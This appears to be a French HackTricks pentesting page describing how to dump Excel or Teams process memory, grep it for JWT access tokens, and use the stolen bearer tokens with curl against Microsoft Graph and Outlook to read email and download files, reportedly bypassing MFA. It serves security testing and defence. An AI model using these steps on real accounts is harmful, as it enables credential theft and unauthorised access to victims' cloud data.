Az - Processes Memory Access Token

Support HackTricks

Informations de base

Comme expliqué dans cette vidéo, certains logiciels Microsoft synchronisés avec le cloud (Excel, Teams...) pourraient stocker des jetons d'accès en texte clair dans la mémoire. Donc, simplement dumping la mémoire du processus et grepping pour des jetons JWT pourrait vous donner accès à plusieurs ressources de la victime dans le cloud en contournant la MFA.

Étapes :

  1. Dump les processus Excel synchronisés avec l'utilisateur EntraID avec votre outil préféré.

  2. Exécutez : string excel.dmp | grep 'eyJ0' et trouvez plusieurs jetons dans la sortie.

  3. Trouvez les jetons qui vous intéressent le plus et exécutez des outils dessus :

# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
┌──(magichk㉿black-pearl)-[~]
└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'

Notez que ces types de jetons d'accès peuvent également être trouvés à l'intérieur d'autres processus.

Soutenir HackTricks

Last updated